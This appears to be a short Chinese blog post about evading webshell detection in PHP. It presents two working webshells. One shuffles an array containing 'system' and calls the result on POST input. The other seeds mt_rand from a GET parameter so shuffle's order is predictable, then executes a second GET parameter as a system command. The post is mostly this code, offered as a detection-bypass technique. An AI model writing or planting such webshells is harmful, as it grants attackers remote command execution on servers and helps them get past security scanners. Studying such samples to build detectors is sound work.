记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
哆啦code梦3 分钟前
2024 OWASP十大安全威胁解析
安全·系统安全·owasp top 10
(❁´◡`❁)Jimmy(❁´◡`❁)11 分钟前
Exgcd 学习笔记
笔记·学习·算法
云小逸1 小时前
【nmap源码学习】 Nmap网络扫描工具深度解析:从基础参数到核心扫描逻辑
网络·数据库·学习
网络安全研究所2 小时前
AI安全提示词注入攻击如何操控你的智能助手?
人工智能·安全
海心焱2 小时前
安全之盾:深度解析 MCP 如何缝合企业级 SSO 身份验证体系,构建可信 AI 数据通道
人工智能·安全
盐焗西兰花4 小时前
鸿蒙学习实战之路-Reader Kit构建阅读器最佳实践
学习·华为·harmonyos
深蓝海拓4 小时前
PySide6从0开始学习的笔记(二十七) 日志管理
笔记·python·学习·pyqt
程序员哈基耄4 小时前
纯客户端隐私工具集:在浏览器中守护你的数字安全
安全
慎独4134 小时前
科学赋能,让孩子专注高效爱上学习
学习
LGL6030A4 小时前
Java学习历程26——线程安全
java·开发语言·学习